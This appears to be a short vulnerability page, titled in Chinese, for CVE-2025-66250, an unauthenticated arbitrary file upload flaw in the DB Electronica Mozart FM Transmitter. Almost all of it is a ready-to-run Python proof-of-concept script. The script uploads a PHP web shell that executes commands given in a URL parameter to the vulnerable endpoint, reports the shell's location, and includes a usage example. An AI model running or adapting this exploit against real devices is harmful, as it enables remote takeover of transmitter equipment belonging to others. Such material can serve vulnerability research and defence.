CVE-2025-66250: DB Electronica Mozart FM Transmitter 未授权任意文件上传漏洞

import requests import sys # CVE-2025-66250 PoC - Unauthenticated Arbitrary File Upload # Target: DB Electronica Mozart FM Transmitter # Endpoint: /var/tdf/status_contents.php def exploit(target_url, filename='shell.php', payload=None): """ Exploit for CVE-2025-66250 Upload arbitrary file to Mozart FM Transmitter """ if payload is None: payload = '<?php echo system($_GET["cmd"]); ?>' target = target_url.rstrip('/') + '/var/tdf/status_contents.php' files = { 'file': (filename, payload, 'application/octet-stream') } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: print(f'[*] Target: {target}') print(f'[*] Uploading: {filename}') response = requests.post(target, files=files, headers=headers, timeout=10) if response.status_code == 200: print('[+] File uploaded successfully!') print(f'[+] Access uploaded file at: {target_url}/var/tdf/{filename}') return True else: print(f'[-] Upload failed. Status code: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://192.168.1.100') sys.exit(1) target_url = sys.argv[1] exploit(target_url)